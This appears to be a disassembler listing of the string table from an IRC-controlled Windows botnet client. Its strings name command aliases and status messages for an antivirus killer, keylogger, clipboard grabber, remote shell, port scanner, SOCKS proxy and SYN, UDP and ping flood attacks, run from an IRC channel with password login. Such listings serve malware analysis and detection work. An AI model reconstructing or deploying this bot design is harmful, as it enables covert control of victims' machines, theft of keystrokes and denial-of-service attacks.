aMainBotStarted	db '[MAIN]: Bot started.',0
		align 4
aProcsAvFwKille	db '[PROCS]: AV/FW Killer active.',0
		align 4
aProcsFailedT_0	db '[PROCS]: Failed to start AV/FW killer thread, error: <%d>.',0
		align 4
aSecureRegistry	db '[SECURE]: Registry monitor active.',0
		align 4
aSecureFailedTo	db '[SECURE]: Failed to start registry thread, error: <%d>.',0
aIdentdServer_0	db '[IDENTD]: Server running on Port: 113.',0
		align 4
aIdentdFailed_0	db '[IDENTD]: Failed to start server, error: <%d>.',0
		align 4
aMainConnectedT	db '[MAIN]: Connected to %s.',0 ; DATA XREF: sub_402D46+F2o
		align 4
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_402EAE+35o
		align 10h
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_402EAE+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 4
asc_43D79C	db ' :',0               ; DATA XREF: seg000:004030ACo
		align 10h
asc_43D7A0:				; DATA XREF: seg000:004030D4o
		unicode	0, < >,0
asc_43D7A4:				; DATA XREF: seg000:loc_4030F1o
		unicode	0, < >,0
asc_43D7A8:				; DATA XREF: seg000:004031B7o
		unicode	0, <!>,0
aPing		db 'PING',0             ; DATA XREF: seg000:004031C6o
		align 4
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: seg000:004031E0o
		align 10h
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: seg000:00403201o
		align 10h
a001		db '001',0              ; DATA XREF: seg000:0040321Do
a005		db '005',0              ; DATA XREF: seg000:00403232o
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: seg000:004085F5o
		align 4
aModeSS		db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: seg000:0040860Ao
		align 4
aJoinSS_4	db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: seg000:0040861Do
		align 4
a302_0		db '302',0              ; DATA XREF: seg000:00403247o
a@:					; DATA XREF: seg000:00403257o
		unicode	0, <@>,0
a433_0		db '433',0              ; DATA XREF: seg000:00403282o
aNickS_4	db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: seg000:004032AAo
		align 10h
aKick		db 'KICK',0             ; DATA XREF: seg000:00403301o
		align 4
aMainUserSLogge	db '[MAIN]: User %s logged out.',0 ; DATA XREF: seg000:00403372o
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: seg000:0040338Bo
aJoinSS_0	db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: seg000:004033D5o
		align 4
aNick		db 'NICK',0             ; DATA XREF: seg000:004033E8o
		align 4
aSS		db ':%s%s',0            ; DATA XREF: seg000:00403506o
		align 4
aPart		db 'PART',0             ; DATA XREF: seg000:0040352Eo
		align 4
aQuit		db 'QUIT',0             ; DATA XREF: seg000:0040353Fo
		align 4
aMainUserSLog_0	db '[MAIN]: User: %s logged out.',0 ; DATA XREF: seg000:004035D4o
		align 4
aPart_0		db 'PART',0             ; DATA XREF: seg000:004035F1o
		align 4
aNoticeSS_0	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: seg000:00403615o
a353		db '353',0              ; DATA XREF: seg000:0040357Do
aMainJoinedChan	db '[MAIN]: Joined channel: %s.',0 ; DATA XREF: seg000:004035B4o
aPrivmsg_0	db 'PRIVMSG',0          ; DATA XREF: seg000:00403620o
aNotice_0	db 'NOTICE',0           ; DATA XREF: seg000:00403631o
		align 4
a332		db '332',0              ; DATA XREF: seg000:00403642o
aPrivmsg_1	db 'PRIVMSG',0          ; DATA XREF: seg000:00403663o
aNotice_1	db 'NOTICE',0           ; DATA XREF: seg000:00403678o
		align 10h
aNotice_2	db 'NOTICE',0           ; DATA XREF: seg000:00403770o
		align 4
asc_43D908:				; DATA XREF: seg000:00403795o
		unicode	0, <#>,0
dword_43D90C	dd 52455601h, 4E4F4953h, 1dword_43D918	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: seg000:00403848o
		dd 0D017325h, 0Ah
dword_43D934	dd 4E495001h, 47hdword_43D93C	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: seg000:00403884o
		dd 0A0Dh
aLoginhi	db 'loginhi',0          ; DATA XREF: seg000:004036D8o
aHi		db 'hi',0               ; DATA XREF: seg000:004036EDo
		align 10h
asc_43D960:				; DATA XREF: seg000:00408485o
		unicode	0, <!>,0
asc_43D964:				; DATA XREF: seg000:004084A3o
		unicode	0, <~>,0
aNoticeSPassAut	db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: seg000:004084D3o
		align 10h
aNoticeSYourAtt	db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
					; DATA XREF: seg000:004084E7o
		align 4
aMainFailedPass	db '[MAIN]: *Failed pass auth by: (%s!%s).',0 ; DATA XREF: seg000:004084F6o
		align 4
aNoticeSHostAut	db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: seg000:00408531o
		align 4
aNoticeSYourA_0	db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
					; DATA XREF: seg000:00408545o
		align 4
aMainFailedHost	db '[MAIN]: *Failed host auth by: (%s!%s).',0 ; DATA XREF: seg000:00408554o
		align 10h
aMainPasswordAc	db '[MAIN]: Password accepted.',0 ; DATA XREF: seg000:004085C4o
		align 4
aMainUserSLog_3	db '[MAIN]: User: %s logged in.',0 ; DATA XREF: seg000:004085E1o
a332_3		db '332',0              ; DATA XREF: seg000:0040370Fo
asc_43DA9C	db ' :',0               ; DATA XREF: seg000:loc_40388Eo
		align 10h
aD_0		db '$%d-',0             ; DATA XREF: seg000:004038EFo
		align 4
aD_1		db '$%d',0              ; DATA XREF: seg000:004039AAo
aMe		db '$me',0              ; DATA XREF: seg000:00403A18o
aUser_0		db '$user',0            ; DATA XREF: seg000:00403A2Ao
		align 4
aChan		db '$chan',0            ; DATA XREF: seg000:00403A3Bo
		align 10h
aRndnick_0	db '$rndnick',0         ; DATA XREF: seg000:00403A57o
		align 4
aServer_0	db '$server',0          ; DATA XREF: seg000:00403A68o
aChr		db '$chr(',0            ; DATA XREF: seg000:00403A73o
		align 4
aChr_0		db '$chr(',0            ; DATA XREF: seg000:00403A8Co
		align 4
asc_43DAE4:				; DATA XREF: seg000:00403AB4o
		unicode	0, <)>,0
a63		db '63',0               ; DATA XREF: seg000:00403ADCo
		align 4
asc_43DAEC:				; DATA XREF: seg000:00403BA8o
		unicode	0, < >,0
asc_43DAF0:				; DATA XREF: seg000:loc_403BC9o
		unicode	0, < >,0
aRndnick	db 'rndnick',0          ; DATA XREF: seg000:00403C03o
aRn		db 'rn',0               ; DATA XREF: seg000:00403C1Bo
		align 10h
aNickS_2	db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: seg000:0040843Eo
		align 4
aMainRandomNick	db '[MAIN]: Random nick change: %s',0 ; DATA XREF: seg000:00408452o
		align 4
aDie		db 'die',0              ; DATA XREF: seg000:00403C30o
aD_2:					; DATA XREF: seg000:00403C45o
		unicode	0, <d>,0
a332_4		db '332',0              ; DATA XREF: seg000:004083F6o
aLogout		db 'logout',0           ; DATA XREF: seg000:00403C5Ao
		align 10h
aLo		db 'lo',0               ; DATA XREF: seg000:00403C6Fo
		align 4
aMainUserSLog_1	db '[MAIN]: User %s logged out.',0 ; DATA XREF: seg000:0040837Ao
aMainNoUserLogg	db '[MAIN]: No user logged in at slot: %d.',0 ; DATA XREF: seg000:00408390o
		align 4
aMainInvalidLog	db '[MAIN]: Invalid login slot number: %d.',0 ; DATA XREF: seg000:00408398o
		align 10h
aMainUserSLog_2	db '[MAIN]: User %s logged out.',0 ; DATA XREF: seg000:004083D7o
aSocks4		db 'socks4',0           ; DATA XREF: seg000:00403C84o
		align 4
aS4		db 's4',0               ; DATA XREF: seg000:00403C99o
		align 4
aSocks4ServerSt	db '[SOCKS4]: Server started on: %s:%d.',0 ; DATA XREF: seg000:004082CCo
aSocks4FailedTo	db '[SOCKS4]: Failed to start server thread, error: <%d>.',0
					; DATA XREF: seg000:0040833Bo
		align 4
aSocks4stop	db 'socks4stop',0       ; DATA XREF: seg000:00403CAEo
		align 10h
aServer_1	db 'Server',0           ; DATA XREF: seg000:00403CC7o
		align 4
aSocks4_0	db '[SOCKS4]',0         ; DATA XREF: seg000:00403CCCo
		align 4
aRloginstop	db 'rloginstop',0       ; DATA XREF: seg000:00403CD7o
		align 10h
aServer_2	db 'Server',0           ; DATA XREF: seg000:00403CF0o
		align 4
aRlogind	db '[RLOGIND]',0        ; DATA XREF: seg000:00403CF5o
		align 4
aHttpstop	db 'httpstop',0         ; DATA XREF: seg000:00403D00o
		align 10h
aServer_3	db 'Server',0           ; DATA XREF: seg000:00403D19o
		align 4
aHttpd		db '[HTTPD]',0          ; DATA XREF: seg000:00403D1Eo
aLogstop	db 'logstop',0          ; DATA XREF: seg000:00403D29o
aLogList	db 'Log list',0         ; DATA XREF: seg000:00403D42o
		align 4
aLog		db '[LOG]',0            ; DATA XREF: seg000:00403D47o
		align 4
aRedirectstop	db 'redirectstop',0     ; DATA XREF: seg000:00403D52o
		align 4
aTcpRedirect	db 'TCP redirect',0     ; DATA XREF: seg000:00403D6Bo
		align 4
aRedirect	db '[REDIRECT]',0       ; DATA XREF: seg000:00403D70o
		align 4
aDdos_stop	db 'ddos.stop',0        ; DATA XREF: seg000:00403D7Bo
		align 4
aDdosFlood	db 'DDoS flood',0       ; DATA XREF: seg000:00403D94o
		align 10h
aDdos		db '[DDoS]',0           ; DATA XREF: seg000:00403D99o
		align 4
aSynstop	db 'synstop',0          ; DATA XREF: seg000:00403DA4o
aSynFlood	db 'Syn flood',0        ; DATA XREF: seg000:00403DBDo
		align 4
aSyn_0		db '[SYN]',0            ; DATA XREF: seg000:00403DC2o
		align 4
aUdpstop	db 'udpstop',0          ; DATA XREF: seg000:00403DCDo
aUdpFlood	db 'UDP flood',0        ; DATA XREF: seg000:00403DE6o
		align 4
aUpd		db '[UPD]',0            ; DATA XREF: seg000:00403DEBo
		align 10h
aPingstop	db 'pingstop',0         ; DATA XREF: seg000:00403DF6o
		align 4
aPingFlood	db 'Ping flood',0       ; DATA XREF: seg000:00403E0Fo
		align 4
aPing_0		db '[PING]',0           ; DATA XREF: seg000:00403E14o
		align 10h
aTftpstop	db 'tftpstop',0         ; DATA XREF: seg000:00403E1Fo
		align 4
aServer_4	db 'Server',0           ; DATA XREF: seg000:00403E38o
		align 4
aTftp_0		db '[TFTP]',0           ; DATA XREF: seg000:00403E3Do
		align 4
aProcsstop	db 'procsstop',0        ; DATA XREF: seg000:00403E48o
		align 4
aPsstop		db 'psstop',0           ; DATA XREF: seg000:00403E5Do
		align 10h
aProcessList	db 'Process list',0     ; DATA XREF: seg000:004081FDo
		align 10h
aProc		db '[PROC]',0           ; DATA XREF: seg000:00408202o
		align 4
aClonestop	db 'clonestop',0        ; DATA XREF: seg000:00403E72o
		align 4
aClone		db 'Clone',0            ; DATA XREF: seg000:00403E8Bo
		align 4
aClones		db '[CLONES]',0         ; DATA XREF: seg000:00403E90o
		align 4
aSecurestop	db 'securestop',0       ; DATA XREF: seg000:00403E9Bo
		align 4
aSecure		db 'Secure',0           ; DATA XREF: seg000:00403EB4o
		align 4
aSecure_0	db '[SECURE]',0         ; DATA XREF: seg000:00403EB9o
		align 4
aScanstop	db 'scanstop',0         ; DATA XREF: seg000:00403EC4o
		align 4
aScan_0		db 'Scan',0             ; DATA XREF: seg000:00403EDDo
		align 4
aScan_1		db '[SCAN]',0           ; DATA XREF: seg000:00403EE2o
		align 4
aScanstats	db 'scanstats',0        ; DATA XREF: seg000:00403EEDo
		align 10h
aStats		db 'stats',0            ; DATA XREF: seg000:00403F02o
		align 4
aReconnect	db 'reconnect',0        ; DATA XREF: seg000:00403F17o
		align 4
aR:					; DATA XREF: seg000:00403F2Co
		unicode	0, <r>,0
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: seg000:loc_4081BDo
		align 10h
aMainReconnecti	db '[MAIN]: Reconnecting.',0 ; DATA XREF: seg000:004081CAo
		align 4
aDisconnect	db 'disconnect',0       ; DATA XREF: seg000:00403F41o
		align 4
aDc		db 'dc',0               ; DATA XREF: seg000:00403F56o
		align 4
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: seg000:loc_40819Bo
		align 10h
aMainDisconnect	db '[MAIN]: Disconnecting.',0 ; DATA XREF: seg000:004081A8o
		align 4
aQuit_0		db 'quit',0             ; DATA XREF: seg000:00403F6Bo
		align 10h
aQ:					; DATA XREF: seg000:00403F80o
		unicode	0, <q>,0
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: seg000:00408173o
		align 10h
aQuitLater_0	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: seg000:loc_408185o
		align 10h
aStatus		db 'status',0           ; DATA XREF: seg000:00403F95o
		align 4
aS_0:					; DATA XREF: seg000:00403FAAo
		unicode	0, <s>,0
aMainStatusRead	db '[MAIN]: Status: Ready. Bot Uptime: %s.',0 ; DATA XREF: seg000:00408127o
		align 4
aId		db 'id',0               ; DATA XREF: seg000:00403FBFo
		align 4
aI_0:					; DATA XREF: seg000:00403FD4o
		unicode	0, <i>,0
aMainBotIdS_	db '[MAIN]: Bot ID: %s.',0 ; DATA XREF: seg000:004080E9o
aReboot		db 'reboot',0           ; DATA XREF: seg000:00403FE9o
		align 4
aMainRebootingS	db '[MAIN]: Rebooting system.',0 ; DATA XREF: seg000:00404000o
		align 4
aMainFailedToRe	db '[MAIN]: Failed to reboot system.',0 ; DATA XREF: seg000:00404007o
		align 4
aThreads	db 'threads',0          ; DATA XREF: seg000:0040403Bo
aT:					; DATA XREF: seg000:00404050o
		unicode	0, <t>,0
aSub		db 'sub',0              ; DATA XREF: seg000:0040802Do
aThreadsListThr	db '[THREADS]: List threads.',0 ; DATA XREF: seg000:00408053o
		align 4
aThreadsFaile_0	db '[THREADS]: Failed to start list thread, error: <%d>.',0
					; DATA XREF: seg000:004080BEo
		align 4
aAliases	db 'aliases',0          ; DATA XREF: seg000:00404065o
aAl		db 'al',0               ; DATA XREF: seg000:0040407Ao
		align 4
aMainAliasList_	db '[MAIN]: Alias list.',0 ; DATA XREF: seg000:00407FDEo
aLog990		db 'log990',0           ; DATA XREF: seg000:0040408Fo
		align 4
aLg909		db 'lg909',0            ; DATA XREF: seg000:004040A4o
		align 4
aS_18		db '%s',0               ; DATA XREF: seg000:00407F03o
		align 10h
aLogListingLog_	db '[LOG]: Listing log.',0 ; DATA XREF: seg000:00407F36o
aLogFailedToSta	db '[LOG]: Failed to start listing thread, error: <%d>.',0
					; DATA XREF: seg000:00407FC3o
aClearlog	db 'clearlog',0         ; DATA XREF: seg000:004040B9o
		align 4
aClg		db 'clg',0              ; DATA XREF: seg000:004040CEo
aNetinfo	db 'netinfo',0          ; DATA XREF: seg000:004040E3o
aNi		db 'ni',0               ; DATA XREF: seg000:004040F8o
		align 4
aMainNetworkInf	db '[MAIN]: Network Info.',0 ; DATA XREF: seg000:00407EB2o
		align 4
aSysinfo	db 'sysinfo',0          ; DATA XREF: seg000:0040410Do
aSi		db 'si',0               ; DATA XREF: seg000:00404122o
		align 4
aMainSystemInfo	db '[MAIN]: System Info.',0 ; DATA XREF: seg000:00407E83o
		align 10h
aR010m		db 'r010m',0            ; DATA XREF: seg000:00404137o
		align 4
aR010m_0	db 'r010m',0            ; DATA XREF: seg000:0040414Co
		align 10h
aMainRemovingBo	db '[MAIN]: Removing Bot.',0 ; DATA XREF: seg000:00407E2Eo
		align 4
aProcs		db 'procs',0            ; DATA XREF: seg000:00404161o
		align 10h
aPs		db 'ps',0               ; DATA XREF: seg000:00404176o
		align 4
aProcAlreadyRun	db '[PROC]: Already running.',0 ; DATA XREF: seg000:00407D1Bo
		align 10h
aFull		db 'full',0             ; DATA XREF: seg000:00407D7Do
		align 4
aProcsProccessL	db '[PROCS]: Proccess list.',0 ; DATA XREF: seg000:00407D9Do
aProcsFailedToS	db '[PROCS]: Failed to start listing thread, error: <%d>.',0
					; DATA XREF: seg000:00407E12o
		align 4
aUptime90	db 'uptime90',0         ; DATA XREF: seg000:0040418Bo
		align 4
aUp909		db 'up909',0            ; DATA XREF: seg000:004041A0o
		align 4
aMainUptimeS_	db '[MAIN]: Uptime: %s.',0 ; DATA XREF: seg000:00407CCDo
aDriveinfo	db 'driveinfo',0        ; DATA XREF: seg000:004041B5o
		align 4
aDrv		db 'drv',0              ; DATA XREF: seg000:004041CAo
aTestdlls	db 'testdlls',0         ; DATA XREF: seg000:004041DFo
		align 4
aDll		db 'dll',0              ; DATA XREF: seg000:004041F4o
aOpencmd	db 'opencmd',0          ; DATA XREF: seg000:00404209o
aOcmd		db 'ocmd',0             ; DATA XREF: seg000:0040421Eo
		align 10h
aCmdRemoteShell	db '[CMD]: Remote shell already running.',0 ; DATA XREF: seg000:00407C0Do
		align 4
aCmdCouldnTOpen	db '[CMD]: Couldn',27h,'t open remote shell.',0
					; DATA XREF: seg000:00407C29o
		align 4
aCmdRemoteShe_0	db '[CMD]: Remote shell ready.',0 ; DATA XREF: seg000:loc_407C30o
		align 4
aCmdstop	db 'cmdstop',0          ; DATA XREF: seg000:00404233o
aRemoteShell	db 'Remote shell',0     ; DATA XREF: seg000:0040424Co
		align 10h
aCmd		db '[CMD]',0            ; DATA XREF: seg000:00404251o
		align 4
aWho		db 'who',0              ; DATA XREF: seg000:0040425Co
aLoginList	db '-[Login List]-',0   ; DATA XREF: seg000:00404275o
		align 4
aEmpty		db '<Empty>',0          ; DATA XREF: seg000:00404297o
aD_S		db '%d. %s',0           ; DATA XREF: seg000:004042A4o
		align 4
aMainLoginListC	db '[MAIN]: Login list complete.',0 ; DATA XREF: seg000:004042D8o
		align 4
aGetclip	db 'getclip',0          ; DATA XREF: seg000:004042E9o
aGc		db 'gc',0               ; DATA XREF: seg000:004042FEo
		align 4
aClipboardData	db '-[Clipboard Data]-',0 ; DATA XREF: seg000:00407BC9o
		align 4
aMainGetClipboa	db '[MAIN]: Get Clipboard.',0 ; DATA XREF: seg000:00407BF7o
		align 4
aFlusharp	db 'flusharp',0         ; DATA XREF: seg000:00404313o
		align 10h
aFarp		db 'farp',0             ; DATA XREF: seg000:00404328o
		align 4
aFlushdnsArpCac	db '[FLUSHDNS]: ARP cache flushed.',0 ; DATA XREF: seg000:00407B9Eo
		align 4
aFlushdnsFail_1	db '[FLUSHDNS]: Failed to flush ARP cache.',0
					; DATA XREF: seg000:loc_407BA5o
		align 10h
aFlushdns	db 'flushdns',0         ; DATA XREF: seg000:0040433Do
		align 4
aFdns		db 'fdns',0             ; DATA XREF: seg000:00404352o
		align 4
aFlushdnsDnsCac	db '[FLUSHDNS]: DNS cache flushed.',0 ; DATA XREF: seg000:00407B80o
		align 4
aFlushdnsFailed	db '[FLUSHDNS]: Failed to flush DNS cache.',0
					; DATA XREF: seg000:loc_407B87o
		align 4
aFlushdnsFail_0	db '[FLUSHDNS]: Failed to load dnsapi.dll.',0
					; DATA XREF: seg000:loc_407B8Eo
		align 4
aCurrentip	db 'currentip',0        ; DATA XREF: seg000:00404367o
		align 10h
aCip		db 'cip',0              ; DATA XREF: seg000:0040437Co
aRloginserver	db 'rloginserver',0     ; DATA XREF: seg000:00404391o
		align 4
aRlogin		db 'rlogin',0           ; DATA XREF: seg000:004043A6o
		align 4
aRlogindServerL	db '[RLOGIND]: Server listening on IP: %s:%d, Username: %s.',0
					; DATA XREF: seg000:00407A97o
aRlogindFailedT	db '[RLOGIND]: Failed to start server thread, error: <%d>.',0
					; DATA XREF: seg000:00407B02o
		align 4
aHttpserver	db 'httpserver',0       ; DATA XREF: seg000:004043BBo
		align 4
aHttp		db 'http',0             ; DATA XREF: seg000:004043D0o
		align 10h
aHttpdServerLis	db '[HTTPD]: Server listening on IP: %s:%d, Directory: %s\.',0
					; DATA XREF: seg000:0040795Fo
aHttpdFailedToS	db '[HTTPD]: Failed to start server thread, error: <%d>.',0
					; DATA XREF: seg000:004079CEo
		align 10h
aTftpserver	db 'tftpserver',0       ; DATA XREF: seg000:004043E5o
		align 4
aTftp		db 'tftp',0             ; DATA XREF: seg000:004043FAo
		align 4
aTftpAlreadyRun	db '[TFTP]: Already running.',0 ; DATA XREF: seg000:00407722o
		align 10h
aTftpServerStar	db '[TFTP]: Server started on Port: %d, File: %s, Request: %s.',0
					; DATA XREF: seg000:004077E9o
		align 4
aTftpFailedToSt	db '[TFTP]: Failed to start server thread, error: <%d>.',0
					; DATA XREF: seg000:00407858o
aScanall	db 'scanall',0          ; DATA XREF: seg000:0040440Fo
aVall		db 'vall',0             ; DATA XREF: seg000:00404424o
		align 10h
aScanAlreadyD_0	db '[SCAN]: Already %d scanning threads. Too many specified.',0
					; DATA XREF: seg000:0040746Ao
		align 4
aScanFailedTo_4	db '[SCAN]: Failed to start scan, port is invalid.',0
					; DATA XREF: seg000:loc_40770Co
		align 4
aRandom_1	db 'Random',0           ; DATA XREF: seg000:0040761Bo
		align 4
aSequential_0	db 'Sequential',0       ; DATA XREF: seg000:00407622o
		align 10h
aScanSPortSca_0	db '[SCAN]: %s Port Scan started on %s:%d with a delay of %d seconds '
					; DATA XREF: seg000:0040764Do
		db 'for %d minutes using %d threads.',0
		align 4
aScanFailedTo_3	db '[SCAN]: Failed to start scan thread, error: <%d>.',0
					; DATA XREF: seg000:004076BEo
		align 4
aNick_0		db 'nick',0             ; DATA XREF: seg000:0040444Ao
		align 10h
aN:					; DATA XREF: seg000:00404461o
		unicode	0, <n>,0
aNickS_1	db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: seg000:00407403o
		align 10h
aMainNickChange	db '[MAIN]: Nick changed to: ',27h,'%s',27h,'.',0
					; DATA XREF: seg000:00407411o
		align 10h
aJoin		db 'join',0             ; DATA XREF: seg000:00404478o
		align 4
aJ:					; DATA XREF: seg000:0040448Fo
		unicode	0, <j>,0
aJoinSS_3	db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: seg000:004073EAo
		align 4
aMainJoinedCh_0	db '[MAIN]: Joined channel: ',27h,'%s',27h,'.',0
					; DATA XREF: seg000:004073F8o
		align 4
aPart_1		db 'part',0             ; DATA XREF: seg000:004044A6o
		align 4
aPt		db 'pt',0               ; DATA XREF: seg000:004044BDo
		align 4
aPartS_1	db 'PART %s',0Dh,0Ah,0  ; DATA XREF: seg000:004073CAo
		align 4
aMainPartedChan	db '[MAIN]: Parted channel: ',27h,'%s',27h,'.',0
					; DATA XREF: seg000:004073D8o
		align 4
aRaw		db 'raw',0              ; DATA XREF: seg000:004044D4o
aR_1:					; DATA XREF: seg000:004044EBo
		unicode	0, <r>,0
aS_26		db '%s',0Dh,0Ah,0       ; DATA XREF: seg000:004073B1o
		align 4
aMainIrcRawS_	db '[MAIN]: IRC Raw: %s.',0 ; DATA XREF: seg000:004073BFo
		align 4
aKillthread	db 'killthread',0       ; DATA XREF: seg000:00404502o
		align 4
aK:					; DATA XREF: seg000:00404519o
		unicode	0, <k>,0
aAll		db 'all',0              ; DATA XREF: seg000:004072D0o
aThreadsStopped	db '[THREADS]: Stopped: %d thread(s).',0 ; DATA XREF: seg000:004072EAo
		align 4
aThreadsNoActiv	db '[THREADS]: No active threads found.',0 ; DATA XREF: seg000:loc_4072F4o
aThreadsKilledT	db '[THREADS]: Killed thread: %s.',0 ; DATA XREF: seg000:0040733Ao
		align 4
aThreadsFailedT	db '[THREADS]: Failed to kill thread: %s.',0 ; DATA XREF: seg000:loc_407341o
		align 10h
aC_quit		db 'c_quit',0           ; DATA XREF: seg000:00404530o
		align 4
aC_q		db 'c_q',0              ; DATA XREF: seg000:00404547o
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: seg000:00407245o
		align 4
aC_rndnick	db 'c_rndnick',0        ; DATA XREF: seg000:0040455Eo
		align 4
aC_rn		db 'c_rn',0             ; DATA XREF: seg000:00404575o
		align 10h
aNickS_0	db 'NICK %s',0          ; DATA XREF: seg000:00407205o
aS_17		db '%s',0Dh,0Ah,0       ; DATA XREF: seg000:0040721Ao
		align 10h
aPrefix		db 'prefix',0           ; DATA XREF: seg000:0040458Co
		align 4
aPr		db 'pr',0               ; DATA XREF: seg000:004045A3o
		align 4
aMainPrefixChan	db '[MAIN]: Prefix changed to: ',27h,'%c',27h,'.',0
					; DATA XREF: seg000:004071C3o
		align 10h
aOpen		db 'open',0             ; DATA XREF: seg000:004045BAo
		align 4
aO:					; DATA XREF: seg000:004045D1o
		unicode	0, <o>,0
aOpen_1		db 'open',0             ; DATA XREF: seg000:00407193o
		align 4
aShellFileOpene	db '[SHELL]: File opened: %s',0 ; DATA XREF: seg000:004071A4o
		align 10h
aShellCouldnTOp	db '[SHELL]: Couldn',27h,'t open file: %s',0 ; DATA XREF: seg000:loc_4071AEo
aServer		db 'server',0           ; DATA XREF: seg000:004045E8o
		align 4
aSe		db 'se',0               ; DATA XREF: seg000:004045FFo
		align 4
aMainServerChan	db '[MAIN]: Server changed to: ',27h,'%s',27h,'.',0
					; DATA XREF: seg000:0040717Bo
		align 10h
aDns		db 'dns',0              ; DATA XREF: seg000:00404616o
aDn		db 'dn',0               ; DATA XREF: seg000:0040462Do
		align 4
aDnsLookupSS_	db '[DNS]: Lookup: %s -> %s.',0 ; DATA XREF: seg000:00407117o
		align 4
aDnsLookupSS__0	db '[DNS]: Lookup: %s -> %s.',0 ; DATA XREF: seg000:0040714Ao
		align 10h
aDnsCouldnTReso	db '[DNS]: Couldn',27h,'t resolve hostname.',0
					; DATA XREF: seg000:loc_407151o
		align 4
aKillproc	db 'killproc',0         ; DATA XREF: seg000:00404644o
		align 10h
aKp		db 'kp',0               ; DATA XREF: seg000:0040465Bo
		align 4
aProcProcessK_0	db '[PROC]: Process killed: %s',0 ; DATA XREF: seg000:004070DFo
		align 10h
aProcFailedTo_0	db '[PROC]: Failed to terminate process: %s',0
					; DATA XREF: seg000:loc_4070E9o
aKill		db 'kill',0             ; DATA XREF: seg000:00404672o
		align 10h
aKi		db 'ki',0               ; DATA XREF: seg000:00404689o
		align 4
aProcProcessKil	db '[PROC]: Process killed ID: %s',0 ; DATA XREF: seg000:00407082o
		align 4
aProcFailedToTe	db '[PROC]: Failed to terminate process ID: %s',0
					; DATA XREF: seg000:loc_407089o
		align 10h
aDelete		db 'delete',0           ; DATA XREF: seg000:004046A0o
		align 4
aDel		db 'del',0              ; DATA XREF: seg000:004046B7o
aFileDeletedS_	db '[FILE]: Deleted ',27h,'%s',27h,'.',0
		align 4
aFile_3		db '[FILE]:',0          ; DATA XREF: seg000:00407048o
aList		db 'list',0             ; DATA XREF: seg000:004046CEo
		align 4
aLi		db 'li',0               ; DATA XREF: seg000:004046E5o
		align 4
aFileListS	db '[FILE]: List: %s',0 ; DATA XREF: seg000:0040702Bo
		align 4
aMirccmd	db 'mirccmd',0          ; DATA XREF: seg000:004046FCo
aMirc		db 'mirc',0             ; DATA XREF: seg000:00404713o
		align 4
aMircClientNotO	db '[mIRC]: Client not open.',0 ; DATA XREF: seg000:00407006o
		align 4
aMircCommandSen	db '[mIRC]: Command sent.',0 ; DATA XREF: seg000:loc_407010o
		align 10h
aCmd_0		db 'cmd',0              ; DATA XREF: seg000:0040472Ao
aCm		db 'cm',0               ; DATA XREF: seg000:00404741o
		align 4
asc_43EA58:				; DATA XREF: seg000:00406FB2o
		dw 0Ah
		unicode	0, <>,0
aCmdErrorSendin	db '[CMD]: Error sending to remote shell.',0 ; DATA XREF: seg000:00406FCAo
		align 4
aCmdCommandsS	db '[CMD]: Commands: %s',0 ; DATA XREF: seg000:00406FD5o
aReadfile	db 'readfile',0         ; DATA XREF: seg000:00404758o
		align 4
aRf		db 'rf',0               ; DATA XREF: seg000:0040476Fo
		align 4
aR_0:					; DATA XREF: seg000:loc_406F0Fo
		unicode	0, <r>,0
aMainReadFileCo	db '[MAIN]: Read file complete: %s',0 ; DATA XREF: seg000:00406F76o
		align 4
aMainReadFileFa	db '[MAIN]: Read file failed: %s',0 ; DATA XREF: seg000:00406F8Ao
		align 4
aIdent		db 'ident',0            ; DATA XREF: seg000:00404786o
		align 4
aOn		db 'on',0               ; DATA XREF: seg000:0040479Bo
		align 4
aIdentAlreadyRu	db '[IDENT]: Already running.',0 ; DATA XREF: seg000:004047B7o
		align 4
aIdentdServerRu	db '[IDENTD]: Server running on Port: 113.',0 ; DATA XREF: seg000:004047C7o
		align 4
aIdentdFailedTo	db '[IDENTD]: Failed to start server, error: <%d>.',0
					; DATA XREF: seg000:00404814o
		align 4
aOff		db 'off',0              ; DATA XREF: seg000:0040481Fo
aIdentServerSto	db '[IDENT]: Server stopped. (%d thread(s) stopped.)',0
					; DATA XREF: seg000:00404842o
		align 4
aIdentNoThreadF	db '[IDENT]: No thread found.',0 ; DATA XREF: seg000:loc_40484Co
		align 10h
aKeylog		db 'keylog',0           ; DATA XREF: seg000:00404859o
		align 4
aOn_0		db 'on',0               ; DATA XREF: seg000:0040486Eo
		align 4
aFile		db 'file',0             ; DATA XREF: seg000:0040487Fo
		align 4
aKeylogAlreadyR	db '[KEYLOG]: Already running.',0 ; DATA XREF: seg000:004048D3o
		align 10h
aFile_0		db 'file',0             ; DATA XREF: seg000:004048EAo
		align 4
aKeylogKeyLog_0	db '[KEYLOG]: Key logger active.',0 ; DATA XREF: seg000:00404954o
		align 4
aKeylogFailedTo	db '[KEYLOG]: Failed to start logging thread, error: <%d>.',0
					; DATA XREF: seg000:004049C3o
		align 10h
